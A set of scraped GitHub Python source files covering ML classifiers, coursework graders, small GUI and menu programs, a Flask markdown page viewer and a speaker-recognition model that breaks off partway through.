{"seq_id":"42870802487","text":"import base64\nimport streamlit as st\nimport regex as re\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\nimport torch\nimport string\nimport plotly.express as px\nimport pandas as pd\nimport nltk\nimport time\nfrom stqdm import stqdm\nfrom nltk.tokenize import sent_tokenize\nnltk.download('punkt')\n\ndef prep_text(text):\n    \"\"\"\n    function for preprocessing text\n    \"\"\"\n\n    # remove trailing characters (\\s\\n) and convert to lowercase\n    clean_sents = [] # append clean con sentences\n    sent_tokens = sent_tokenize(str(text))\n    for sent_token in sent_tokens:\n        word_tokens = [str(word_token).strip().lower() for word_token in sent_token.split()]\n        #word_tokens = [word_token for word_token in word_tokens if word_token not in punctuations]\n        clean_sents.append(' '.join((word_tokens)))\n    joined = ' '.join(clean_sents).strip(' ')\n    joined = re.sub(r'`', \"\", joined)\n    joined = re.sub(r'\"', \"\", joined)\n    return joined\n\n\n# model name or path to model\ncheckpoint = \"sadickam/sdg-classification-bert\"\n\n\n# encode df to CSV for downloading\n# @st.cache\n# def convert_df(df):\n#     return df.to_csv().encode('utf-8')\n\n\n# Load and cache model\n@st.cache(allow_output_mutation=True)\ndef load_model():\n    return AutoModelForSequenceClassification.from_pretrained(checkpoint)\n\n\n# Load and cache tokenizer\n@st.cache(allow_output_mutation=True)\ndef load_tokenizer():\n    tokenizer = AutoTokenizer.from_pretrained(checkpoint)\n    return tokenizer\n\n\n# Configure app page\nst.set_page_config(\n    page_title=\"SDG Classifier\", layout= \"wide\", initial_sidebar_state=\"auto\", page_icon=\"🚦\"\n)\n\nst.header(\"🚦 Sustainable Development Goals (SDG) Text Classifier\")\nst.markdown(\"\")\n\n# upload button recieve input text\nst.markdown(\"##### Column to be analysed must be titled 'text_inputs'\")\nuploaded_file = st.file_uploader(\"Upload your CSV file\", type=[\"csv\"])\n\n# lists for appending predictions\npredicted_labels = []\nprediction_score = []\n\nif uploaded_file is not None:\n\n    # read csv file\n    df_docs = pd.read_csv(uploaded_file)\n    text_list = df_docs[\"text_inputs\"].tolist()\n\n    # SDG labels list\n    label_list = [\n        'GOAL_1_No Poverty',\n        'GOAL_2_Zero Hunger',\n        'GOAL_3_Good Health and Well-being',\n        'GOAL_4_Quality Education',\n        'GOAL_5_Gender Equality',\n        'GOAL_6_Clean Water and Sanitation',\n        'GOAL_7_Affordable and Clean Energy',\n        'GOAL_8_Decent Work and Economic Growth',\n        'GOAL_9_Industry, Innovation and Infrastructure',\n        'GOAL_10_Reduced Inequality',\n        'GOAL_11_Sustainable Cities and Communities',\n        'GOAL_12_Responsible Consumption and Production',\n        'GOAL_13_Climate Action',\n        'GOAL_14_Life Below Water',\n        'GOAL_15_Life on Land',\n        'GOAL_16_Peace, Justice and Strong Institutions'\n    ]\n\n    # Pre-process text\n    for text_input in stqdm(text_list):\n        time.sleep(0.02)\n        joined_clean_sents = prep_text(text_input)\n\n        # tokenize pre-processed text\n        tokenizer_ = load_tokenizer()\n        tokenized_text = tokenizer_(joined_clean_sents, return_tensors=\"pt\", truncation=True, max_length=512)\n\n        # predict pre-processed\n        model = load_model()\n        text_logits = model(**tokenized_text).logits\n        predictions = torch.softmax(text_logits, dim=1).tolist()[0]\n        predictions = [round(a, 3) for a in predictions]\n\n        # dictionary with label as key and percentage as value\n        pred_dict = (dict(zip(label_list, predictions)))\n\n        # sort 'pred_dict' by value and index the highest at [0]\n        sorted_preds = sorted(pred_dict.items(), key=lambda g: g[1], reverse=True)\n\n        # Zip explode sorted_preds and append label with highets probability at index 0 to predicted_labels list\n        u, v = zip(*sorted_preds)\n        x = list(u)\n        predicted_labels.append(x[0])\n        y = list(v)\n        prediction_score.append(y[0])\n\n    # append label and score to df_csv\n    df_docs['SDG_predicted'] = predicted_labels\n    df_docs['prediction_score'] = prediction_score\n\n    st.empty()\n\n    tab1, tab2 = st.tabs([\"💹 SDG Histogram\", \"⏬ Download CSV file with predictions\"])\n\n    with tab1:\n        st.markdown(\"##### Prediction outcome\")\n        # plot graph of predictions\n        fig = px.histogram(df_docs, y=\"SDG_predicted\")\n\n        fig.update_layout(\n            # barmode='stack',\n            template='seaborn',\n            font=dict(\n                family=\"Arial\",\n                size=14,\n                color=\"black\"\n            ),\n            autosize=False,\n            width=800,\n            height=500,\n            xaxis_title=\"SDG counts\",\n            yaxis_title=\"Sustainable development goals (SDG\",\n            # legend_title=\"Topics\"\n        )\n\n        fig.update_xaxes(tickangle=0, tickfont=dict(family='Arial', color='black', size=14))\n        fig.update_yaxes(tickangle=0, tickfont=dict(family='Arial', color='black', size=14))\n        fig.update_annotations(font_size=14)  # this changes y_axis, x_axis and subplot title font sizes\n\n        # Plot\n        st.plotly_chart(fig, use_container_width=False)\n\n        st.success(\"SDGs successfully predicted. \", icon=\"✅\")\n\n    with tab2:\n        st.header(\"\")\n        csv = df_docs.to_csv(index=False)\n        b64 = base64.b64encode(csv.encode()).decode()\n        href = f'<a href=\"data:file/csv;base64, {b64}\" download=\"sdg_predictions.csv\">Download CSV file with predicted SDGs and scores </a>'\n        st.markdown(href, unsafe_allow_html=True)\n\n        # st.download_button(\n        #     label=\"Download CSV file with predictions\",\n        #     data=csv,\n        #     file_name='large_df.csv',\n        #     mime='text/csv',\n        # )\n\n\n","repo_name":"sadickam/sdg-classification-bert","sub_path":"pages/Upload CSV file.py","file_name":"Upload CSV file.py","file_ext":"py","file_size_in_byte":5734,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"17545270217","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pickle, gzip\r\ndef load_iris():\r\n    # Import iris data\r\n    data = np.loadtxt(\"IrisBinary.csv\",delimiter=\",\",max_rows=1000)\r\n    # Training data, only\r\n    X = np.asfarray(data[:, 1:5])\r\n    X[:,0] *= 0.99 / 4\r\n    X[:,1] *= 0.99 / 3\r\n    X[:,2] *= 0.99 / 6\r\n    X[:,3] *= 0.99 / 3\r\n    y = [int(x[0]) for x in np.asfarray(data[:, 5:])]\r\n    y = [x*0.99 / 3 for x in y]\r\n    # change y [1D] to Y [2D] sparse array coding class\r\n    n_examples = len(y)\r\n    labels = np.unique(y)\r\n    Y = np.zeros((n_examples, len(labels)))\r\n    for ix_label in range(len(labels)):\r\n        # Find examples with with a Label = lables(ix_label)\r\n        ix_tmp = np.where(y == labels[ix_label])[0]\r\n        Y[ix_tmp, ix_label] = 1\r\n    return X, Y, labels, y\r\n\r\n","repo_name":"omergencer/Multi-LayerPerceptron","sub_path":"read_iris.py","file_name":"read_iris.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37067571217","text":"'''\nBen Crotty\nISE 150, Spring 2022\nbcrotty@usc.edu\nLab 18\n'''\nimport candy\n\ndef main():\n    candyPile = []\n    # c1 = candy.Chocolate(\"Kit-Kat\", 10, 40)\n    # c2 = candy.FilledChocolate(\"Reces\", 5, 20 , \"Peanut Butter\")\n    # c3 = candy.SoftCandy(\"Twix\", 5, \"Cherry\")\n    #\n    # print(\"c1 ---\" + str(c1))\n    # print(\"c2 ----\" + str(c2))\n    # print(str(c3))\n    while True:\n        print(\"1) Candy\")\n        print(\"2) Chocolate\")\n        print(\"3) Filled Chocolate\")\n        print(\"4) Soft Candy\")\n        uOption = input(\"> \")\n\n        if uOption == \"1\":\n            inName  = input(\"Name: \")\n            inCal = input(\"Calories: \")\n            candyPile.append(candy.Candy(inName,inCal))\n        elif uOption == \"2\":\n            inName = input(\"Name: \")\n            inCal = input(\"Calories: \")\n            inPerCoco = input(\"Percentage of Coco: \")\n            candyPile.append(candy.Chocolate(inName,inCal,inPerCoco))\n        elif uOption == \"3\":\n            inName = input(\"Name: \")\n            inCal = input(\"Calories: \")\n            inPerCoco = input(\"Percentage of Coco: \")\n            inFilling = input(\"Filling: \")\n            candyPile.append(candy.FilledChocolate(inName,inCal,inPerCoco,inFilling))\n        elif uOption ==\"4\":\n            inName = input(\"Name: \")\n            inCal = input(\"Calories: \")\n            inFlavor = input(\"Flavor: \")\n            candyPile.append(candy.SoftCandy(inName,inCal,inFlavor))\n        else:\n            break\n\n    for item in candyPile:\n        print(item)\n\n\n\n\nmain()","repo_name":"benc2711/ISE150","sub_path":"lp18/lp18.py","file_name":"lp18.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71990371941","text":"#!/usr/bin/env python3\n\n# importing libraries\nfrom PyQt5.QtWidgets import * \nimport sys\n\n# creating a class\n# that inherits the QDialog class\nclass Window(QDialog):\n\n\t# constructor\n\tdef __init__(self):\n\t\tsuper(Window, self).__init__()\n\t\tself.setWindowTitle(\"Python\")\n\t\tself.setGeometry(100, 100, 300, 400)\n\t\tself.formGroupBox = QGroupBox(\"Form 1\")\n\t\tself.ageSpinBar = QSpinBox()\n\t\tself.degreeComboBox = QComboBox()\n\t\tself.degreeComboBox.addItems([\"BTech\", \"MTech\", \"PhD\"])\n\t\tself.nameLineEdit = QLineEdit()\n\t\tself.createForm()\n\t\tself.buttonBox = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel)\n\t\tself.buttonBox.accepted.connect(self.getInfo)\n\t\tself.buttonBox.rejected.connect(self.reject)\n\t\tmainLayout = QVBoxLayout()\n\t\tmainLayout.addWidget(self.formGroupBox)\n\t\tmainLayout.addWidget(self.buttonBox)\n\t\tself.setLayout(mainLayout)\n\n\tdef getInfo(self):\n\t\tprint(\"Person Name : {0}\".format(self.nameLineEdit.text()))\n\t\tprint(\"Degree : {0}\".format(self.degreeComboBox.currentText()))\n\t\tprint(\"Age : {0}\".format(self.ageSpinBar.text()))\n\n\t\tself.close()\n\n\tdef createForm(self):\n\t\tlayout = QFormLayout()\n\t\tlayout.addRow(QLabel(\"Name\"), self.nameLineEdit)\n\t\tlayout.addRow(QLabel(\"Degree\"), self.degreeComboBox)\n\t\tlayout.addRow(QLabel(\"Age\"), self.ageSpinBar)\n\t\tself.formGroupBox.setLayout(layout)\n\nif __name__ == '__main__':\n\tapp = QApplication(sys.argv)\n\twindow = Window()\n\twindow.show()\n\tsys.exit(app.exec())\n","repo_name":"jethornton/pyqt5","sub_path":"Input Dialogs/QDialog1.py","file_name":"QDialog1.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11674735304","text":"import os\n\nclass Stack: #create all the required methods\n    def __init__(self, maxitems):\n        self.items = []\n        self.maxitems = maxitems\n\n        \n    def push(self, item):\n        if not self.full():\n            self.items.append(item)\n            print(\"The updated stacks are the following: \")\n            for x in self.items:\n                print(\"|\",x,\"|\",end=' ')\n          \n        else:\n            print(\"Stack is full\")\n            for x in self.items:\n               print(\"|\",x,\"|\",end=' ')\n        \n    def pop(self):\n        if not self.empty():\n            item = self.items.pop()\n            print(\"The updated stacks are the following: \")\n            for x in self.items:\n                print(\"|\",x,\"|\",end=' ')\n        else:\n            print(\"Stack is empty\")\n\n    def empty (self):\n        return len(self.items) == 0\n    \n    def full(self):\n        return len(self.items) == self.maxitems\n\n\ndef menu():\n    stack = Stack(maxitems=5)\n\n    while True:\n        print(\"\\n\\nM_E_N_U\")\n        print(\"[A] Push item\")\n        print(\"[B] Pop item\")\n        print(\"[C] Quit\")\n\n        choice = input(\"Enter your choice: \")\n    \n        if choice == \"A\":\n          item = input(\"Enter item to push: \") \n          os.system(\"cls\")\n          stack.push(item)\n\n        elif (choice == \"B\"):\n           os.system(\"cls\")\n           stack.pop()\n        \n        elif(choice == \"C\"):\n            os.system(\"cls\")\n            print(\"EXIT SUCCESFUL\")\n            break\n        \n        else:\n            os.system(\"cls\")\n            print(\"Invalid input! please try again: \")\n\nmenu()\n","repo_name":"lindraaa/python_stacks","sub_path":"stacks.py","file_name":"stacks.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18302766180","text":"\"\"\"\nEDIT THIS FILE AT YOUR OWN RISK!\nIt will not ship with your code, editing it will only change the test cases locally, and might make you fail our\nremote tests.\n\"\"\"\nimport torch\nimport numpy as np\nimport string\n\nfrom .grader import Grader, Case, MultiCase\n\nvocab = string.ascii_lowercase+' .'\n\n\ndef one_hot(s: str):\n    if len(s) == 0:\n        return torch.zeros((len(vocab), 0))\n    return torch.as_tensor(np.array(list(s.lower()))[None, :] == np.array(list(vocab))[:, None]).float()\n\n\nclass LanguageGrader(Grader):\n    \"\"\"Language modeling\"\"\"\n\n    def __init__(self, *a, **ka):\n        super().__init__(*a, **ka)\n        self.bigram = self.module.Bigram()\n\n        class Dummy(self.module.LanguageModel):\n            def predict_all(self, text):\n                r = 1e-5*torch.ones(len(vocab), len(text)+1)\n                for i, s in enumerate(text):\n                    r[(vocab.index(s)+1)%len(vocab), i+1] = 1\n                r[0, 0] = 2\n                r[1, 0] = 1\n                return (r/r.sum(dim=0, keepdim=True)).log()\n\n        self.dummy = Dummy()\n\n    @Case(score=10)\n    def test_log_likelihood(self):\n        \"\"\"log_likelihood\"\"\"\n        ll = self.module.log_likelihood\n\n        def check(m, s, r):\n            l = ll(m, s)\n            assert abs(r-l) < 1e-2, \"wrong log likelihood for '%s' got %f expected %f\"%(m.__class__.__name__, l, r)\n\n        check(self.bigram, 'yes', -8.914730)\n        check(self.bigram, 'we', -3.708824)\n        check(self.bigram, 'can', -7.696493)\n        check(self.dummy, 'abcdef', -0.406903)\n        check(self.dummy, 'abcdee', -11.919827)\n        check(self.dummy, 'bcdefg', -1.100051)\n\n        def check_sum(m, length):\n            all_str = []\n            all_sub_str = ['']\n            while len(all_sub_str):\n                s = all_sub_str.pop()\n                if len(s) == length:\n                    all_str.append(s)\n                else:\n                    for c in vocab:\n                        all_sub_str.append(s + c)\n\n            l = np.sum([np.exp(ll(m, s)) for s in all_str])\n\n            assert abs(1-l) < 1e-2, \"Log likelihood for '%s' does not sum to 1\" % (m.__class__.__name__)\n\n        check_sum(self.bigram, length=0)\n        check_sum(self.dummy, length=0)\n        check_sum(self.bigram, length=1)\n        check_sum(self.dummy, length=1)\n        check_sum(self.bigram, length=2)\n        check_sum(self.dummy, length=2)\n\n\n    @Case(score=10)\n    def test_sample_random(self):\n        \"\"\"sample_random\"\"\"\n        ll = self.module.log_likelihood\n        sample = self.module.sample_random\n\n        def check(m, min_likelihood):\n            samples = [sample(m) for i in range(10)]\n            sample_ll = np.median([float(ll(m, s))/len(s) for s in samples])\n\n            assert sample_ll > min_likelihood, \\\n                \"'%s' : Samples should have a likelihood of at least %f got %f\"%(m.__class__.__name__, min_likelihood,\n                                                                                 sample_ll)\n\n        check(self.bigram, -2.5)\n        check(self.dummy, -0.05)\n\n        samples = [sample(self.dummy) for i in range(100)]\n        chars = [s[10] if len(s) > 10 else 'a' for s in samples]\n        # There is a 1 in 100 billion chance this fill fail\n        assert any([abs(sum([c == 'k' for c in chars[i: i+10]])-6.666) < 2 for i in range(0, 100, 10)]), \\\n            \"Your samples seem biased\"\n        # There is a 1 in 100 billion chance this fill fail\n        assert any([abs(sum([c == 'l' for c in chars[i: i+10]])-3.333) < 2 for i in range(0, 100, 10)]), \\\n            \"Your samples seem biased\"\n\n    @Case(score=20)\n    def test_beam_search(self):\n        \"\"\"beam_search\"\"\"\n        ll = self.module.log_likelihood\n        bs = self.module.beam_search\n\n        def check(m, n, min_log_likelihood, average_log_likelihood=False):\n            samples = bs(m, 100, n, max_length=30, average_log_likelihood=average_log_likelihood)\n            assert len(samples) == n, \"Beam search returned %d samples expected %d!\"%(len(samples), n)\n            assert all([s not in samples[:i] for i, s in enumerate(samples)]), 'Beam search returned duplicates'\n            med_ll = np.median([float(ll(m, s))*(1./len(s) if average_log_likelihood else 1.) for s in samples])\n            assert med_ll > min_log_likelihood, \"Beam search failed to find high likelihood samples\"\n\n        check(self.bigram, 10, -7.5, False)\n        check(self.bigram, 10, -1.5, True)\n        check(self.dummy, 10, -12., False)\n        check(self.dummy, 10, -0.4, True)\n        check(self.dummy, 2, -0.8, False)\n        check(self.dummy, 2, -0.1, True)\n\n\nclass TCNGrader(Grader):\n    \"\"\"TCN\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.tcn = self.module.TCN()\n        self.tcn.eval()\n\n    @MultiCase(score=3, b=[1, 16, 128], length=[0, 10, 20])\n    def test_forward(self, b, length):\n        \"\"\"TCN.forward\"\"\"\n        one_hot = (torch.randint(len(vocab), (b, 1, length)) == torch.arange(len(vocab))[None, :, None]).float()\n        output = self.tcn(one_hot)\n        assert output.shape == (b, len(vocab), length+1), \\\n            'TCN.forward output shape expected (%d, %d, %d) got %s'%(b, len(vocab), length+1, output.shape)\n\n    @MultiCase(score=3, s=['', 'a', 'ab', 'abc'])\n    def test_predict_all(self, s):\n        \"\"\"TCN.predict_all\"\"\"\n        output = self.tcn.predict_all(s)\n        assert output.shape == (len(vocab), len(s)+1), \\\n            'output shape expected (%d, %d) got %s' % (len(vocab), len(s)+1, output.shape)\n        assert np.allclose(output.exp().sum(dim=0).detach(), 1), \"log likelihoods do not sum to 1\"\n\n    @MultiCase(score=7, s=['united', 'states', 'yes', 'we', 'can'])\n    def test_consistency(self, s):\n        \"\"\"TCN.predict_next/TCN.predict_all consistency\"\"\"\n        all_ll = self.tcn.predict_all(s).detach().cpu().numpy()\n        for i in range(len(s)+1):\n            ll = self.tcn.predict_next(s[:i]).detach().cpu().numpy()\n            assert np.allclose(all_ll[:, i], ll), \\\n                \"predict_next %s inconsistent with predict_all %s\"%(ll, all_ll[:, i])\n\n    @MultiCase(score=7, i=range(100))\n    def test_causal(self, i):\n        \"\"\"TCN.forward causality\"\"\"\n        input = torch.zeros(len(vocab), 100)\n        input[:, i] = float('NaN')\n        output = self.tcn(input[None])[0]\n        is_nan = (output != output).any(dim=0)\n        assert not is_nan[:i+1].any(), \"Model is not causal, information leaked forward in time\"\n        assert is_nan[i+3:].any(), \"Model does not consider a temporal extend > 2\"\n\n    @MultiCase(score=2, i=range(5,95))\n    def test_shape(self, i):\n        \"\"\"TCN.forward shape\"\"\"\n        input = torch.zeros(len(vocab), i)\n        output = self.tcn(input[None])[0]\n        assert (output.shape[0] == input.shape[0]) and (output.shape[1] == input.shape[1]+1), \"Expected output shape (%d, %d) for input shape (%d, %d)!\" % (input.shape[0], input.shape[1]+1, input.shape[0], input.shape[1])\n\n    @MultiCase(score=5, i=range(10,90))\n    def test_causal(self, i):\n        \"\"\"TCN.forward causality\"\"\"\n        input = torch.zeros(len(vocab), 100)\n        input[:, i] = float('NaN')\n        output = self.tcn(input[None])[0]\n        is_nan = (output != output).any(dim=0)\n        assert not is_nan[:i+1].any(), \"Model is not causal, information leaked forward in time\"\n        assert is_nan[i+3:].any(), \"Model does not consider a temporal extend > 2\"\n\nclass TrainedTCNGrader(Grader):\n    \"\"\"TrainedTCN\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.tcn = self.module.load_model()\n        self.tcn.eval()\n        self.data = self.module.SpeechDataset('data/valid.txt')\n\n    @Case(score=40)\n    def test_nll(self):\n        \"\"\"Accuracy\"\"\"\n        lls = []\n        for s in self.data:\n            ll = self.tcn.predict_all(s)\n            lls.append(float((ll[:, :-1]*one_hot(s)).sum()/len(s)))\n        nll = -np.mean(lls)\n        return max(2.3-max(nll, 1.3), 0), 'nll = %0.3f' % nll\n","repo_name":"Santos-A-PerezUTexas/Deep-Learning-Masters-Class","sub_path":"extra/grader/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8013,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"16975304949","text":"import re\nimport pandas as pd\n\nresults = []\nwith open('result_owndata.txt','r') as f:\n    lst = f.readlines()\n    for s in lst:\n        if len(s[:-1]) >= 25:\n            results.append(s[:-1])\n    \nresults = pd.DataFrame(results)\nresults.to_csv('result.csv',index=False,header=False)","repo_name":"BerkinChen/drug_design","sub_path":"Molecule_Generation/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25072352811","text":"#main application to predict the class of a given image\r\nfrom preprocess import Dataset\r\nfrom evaluation import Evaluation\r\nfrom training import Train\r\nfrom model import Network,CBR_Network\r\nfrom torch.utils.data import DataLoader\r\nimport torch\r\n\r\nds = Dataset(\".\\\\csv\\\\train.csv\",(32,32))\r\ndt = Dataset(\".\\\\csv\\\\test.csv\",(32,32))\r\n\r\n\r\ntrain_dl = DataLoader(ds, 16200, shuffle=True)\r\ntest_dl = DataLoader(dt, 1500, shuffle=False)\r\nprint(\"Datasets are loaded to the application!\")\r\n\r\nX_test, y_test = next(iter(test_dl))\r\nprint(\"Test datasets are assigned\")\r\n\r\nnetwork = CBR_Network()\r\nprint(\"Model is created!\")\r\n\r\n\r\nprint(\"Please wait while the dataset is loading...\")\r\ntrainer = Train(network,device=torch.device('cuda'))\r\nX, y = next(iter(train_dl))\r\nnet = trainer.skorch_train(X=X, y=y, max_epochs=15)\r\nprint(\"Model is trained!\")\r\n\r\ntrainer.save_model('models/cbr_skorch.pkl')\r\nprint(\"Model is saved!\")\r\ny_pred = net.predict(X_test)\r\nevalutaion = Evaluation(X_test=X_test, y_pred=y_pred, y_test=y_test, net = net)\r\nevalutaion.evaluate()\r\nevalutaion.history_stats()\r\n\r\n\r\n","repo_name":"hiradbaba/HXProjects","sub_path":"Mask Classification/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72721665382","text":"from drape.model import LinkedModel, F\n\n\nclass ActionModel(LinkedModel):\n    def __init__(self):\n        super(ActionModel, self).__init__('action')\n\n    def getList(self, where, from_id):\n        # from id\n        if from_id > 0:\n            where['action.id'] = ('<', from_id)\n\n        action_list = self.join(\n            'focus',\n            {\n                'focus.focus_type': F('action.from_object_type'),\n                'focus.target_id': F('action.from_object_id'),\n                'focus.is_del': 0\n            },\n            'focus'\n        ).where(\n            where\n        ).group(\n            'action.id'\n        ).order(\n            'action.id', 'DESC'\n        ).limit(10).select()\n\n        topic_model = LinkedModel('discuss_topic')\n        userinfo_model = LinkedModel('userinfo')\n        reply_model = LinkedModel('discuss_reply')\n        tag_model = LinkedModel('tag')\n\n        # from/target object\n        def get_topic_info(id):\n            return topic_model.where(id=id).find()\n\n        def get_user_info(id):\n            return userinfo_model.where(id=id).find()\n\n        def get_reply_info(id):\n            return reply_model.alias(\n                'reply'\n            ).where({\n                'reply.id': id\n            }).join(\n                'discuss_topic',\n                {\n                    'reply.tid': F('topic.id')\n                },\n                'topic'\n            ).find()\n\n        def get_tag_info(id):\n            return tag_model.where(id=id).find()\n\n        model_map = {\n            'topic': get_topic_info,\n            'user': get_user_info,\n            'reply': get_reply_info,\n            'tag': get_tag_info\n        }\n        for field in ('from', 'target'):\n            for action in action_list:\n                object_type = action['%s_object_type' % field]\n                get_info = model_map[object_type]\n\n                info_key = '%s_%s_info' % (field, object_type)\n                action[info_key] = get_info(action['%s_object_id' % field])\n\n        return action_list\n","repo_name":"lexdene/testdrape2","sub_path":"app/model/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11429805386","text":"#coding=utf-8\nfrom app import app, db\nfrom flask import render_template\nimport os\nimport markdown2\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n@app.route('/<page_name>')\ndef page(page_name):\n\t#find file\n\tflag = False\n\tfile_list = os.listdir(app.config['DATA_POSITION'])\n\tfor file_name in file_list:\n\t\tif page_name == file_name:\n\t\t\tflag = True\n\t\t\tbreak\n\t\tif page_name + '.md' == file_name:\n\t\t\tflag = True\n\t\t\tpage_name = page_name + '.md'\n\t\t\tbreak\n\tif not flag:\n\t\tparam = {\n\t\t\t'title': 'Error',\n\t\t\t'content': 'File Not Found'\n\t\t}\n\t\treturn render_template('page.html',\n\t\t\t\t\t\t\t\tparam = param)\n\t\n\t#read file\n\tfile_object = open(os.path.join(app.config['DATA_POSITION'], page_name), 'r')\n\ttry:\n\t\tcontent = file_object.read()\n\tfinally:\n\t\tfile_object.close()\n\n\t#render markdown\n\tcontent = markdown2.markdown(content)\n\n\t#render html\n\tparam = {\n\t\t'title': 'Page',\n\t\t'content': content\n\t}\n\treturn render_template('page.html',\n\t\t\t\t\t\t\tparam = param)\n","repo_name":"yangsiy/Markdown-Hosting","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3820879373","text":"from tkinter import *\n\ndef clicked():\n    lbl.configure(text=\"Я же просил\")\n\nwindow = Tk()\nwindow.title(\"приложение\")\nwindow.geometry('740x740')\nwindow.resizable(True,True)\n\nbtn = Button(window, text = \"Не нажимать!\", command=clicked, bg=\"black\", fg=\"white\")\n\nbtn.grid(column = 1, row = 0)\n\nlbl = Label(window, text=\"Привет\", font=(\"Arial Bold\", 40))\nlbl.grid(column=0, row=0)\n\nwindow.mainloop()","repo_name":"timtimofey/py-lessons","sub_path":"tkinter/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35700924789","text":"import scipy.io as sio\nimport numpy as np\nimport keras\nimport keras.backend as K\nfrom keras.layers import Input, GlobalAveragePooling2D, Reshape, Lambda, Dense, Flatten\nfrom keras.layers.convolutional import Conv2D, ZeroPadding2D, MaxPooling2D, AveragePooling2D\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.core import Lambda, Activation\nfrom keras.models import Model\nfrom keras import optimizers\nfrom keras.callbacks import LearningRateScheduler\nimport constants as c\nimport matplotlib.pyplot as plt\nfrom keras import metrics\n\ndef euclidean_distance(vects):\n    x, y = vects\n    sum_square = K.sum(K.square(x - y), axis=1, keepdims=True)\n    return K.sqrt(K.maximum(sum_square, K.epsilon()))\n\n\ndef eucl_dist_output_shape(shapes):\n    shape1, shape2 = shapes\n    return (shape1[0], 1)\n\n\n# Block of layers: Conv --> BatchNorm --> ReLU --> Pool\ndef conv_bn_pool(inp_tensor,layer_idx,conv_filters,conv_kernel_size,conv_strides,conv_pad,\n\tpool='',pool_size=(2, 2),pool_strides=None,\n\tconv_layer_prefix='conv'):\n\tx = ZeroPadding2D(padding=conv_pad,name='pad{}'.format(layer_idx))(inp_tensor)\n\tx = Conv2D(filters=conv_filters,kernel_size=conv_kernel_size, strides=conv_strides, padding='valid', name='{}{}'.format(conv_layer_prefix,layer_idx))(x)\n\tx = BatchNormalization(epsilon=1e-5,momentum=1,name='bn{}'.format(layer_idx))(x)\n\tx = Activation('relu', name='relu{}'.format(layer_idx))(x)\n\tif pool == 'max':\n\t\tx = MaxPooling2D(pool_size=pool_size,strides=pool_strides,name='mpool{}'.format(layer_idx))(x)\n\telif pool == 'avg':\n\t\tx = AveragePooling2D(pool_size=pool_size,strides=pool_strides,name='apool{}'.format(layer_idx))(x)\n\treturn x\n\n\n# Block of layers: Conv --> BatchNorm --> ReLU --> Dynamic average pool (fc6 -> apool6 only)\ndef conv_bn_dynamic_apool(inp_tensor,layer_idx,conv_filters,conv_kernel_size,conv_strides,conv_pad,\n\tconv_layer_prefix='conv'):\n\tx = ZeroPadding2D(padding=conv_pad,name='pad{}'.format(layer_idx))(inp_tensor)\n\tx = Conv2D(filters=conv_filters,kernel_size=conv_kernel_size, strides=conv_strides, padding='valid', name='{}{}'.format(conv_layer_prefix,layer_idx))(x)\n\tx = BatchNormalization(epsilon=1e-5,momentum=1,name='bn{}'.format(layer_idx))(x)\n\tx = Activation('relu', name='relu{}'.format(layer_idx))(x)\n\tx = GlobalAveragePooling2D(name='gapool{}'.format(layer_idx))(x)\n\tx = Reshape((1,1,conv_filters),name='reshape{}'.format(layer_idx))(x)\n\treturn x\n\n\ndef vggvox_model():\n\tinp = Input(c.INPUT_SHAPE,name='input')\n\tx = conv_bn_pool(inp,layer_idx=1,conv_filters=96,conv_kernel_size=(7,7),conv_strides=(2,2),conv_pad=(1,1),\n\t\tpool='max',pool_size=(3,3),pool_strides=(2,2))\n\tx = conv_bn_pool(x,layer_idx=2,conv_filters=256,conv_kernel_size=(5,5),conv_strides=(2,2),conv_pad=(1,1),\n\t\tpool='max',pool_size=(3,3),pool_strides=(2,2))\n\tx = conv_bn_pool(x,layer_idx=3,conv_filters=384,conv_kernel_size=(3,3),conv_strides=(1,1),conv_pad=(1,1))\n\tx = conv_bn_pool(x,layer_idx=4,conv_filters=256,conv_kernel_size=(3,3),conv_strides=(1,1),conv_pad=(1,1))\n\tx = conv_bn_pool(x,layer_idx=5,conv_filters=256,conv_kernel_size=(3,3),conv_strides=(1,1),conv_pad=(1,1),\n\t\tpool='max',pool_size=(5,3),pool_strides=(3,2))\t\t\n\tx = conv_bn_dynamic_apool(x,layer_idx=6,conv_filters=4096,conv_kernel_size=(9,1),conv_strides=(1,1),conv_pad=(0,0),\n\t\tconv_layer_prefix='fc')\n\tx = conv_bn_pool(x,layer_idx=7,conv_filters=1024,conv_kernel_size=(1,1),conv_strides=(1,1),conv_pad=(0,0),\n\t\tconv_layer_prefix='fc')\n\tx = Lambda(lambda y: K.l2_normalize(y, axis=3), name='norm')(x)  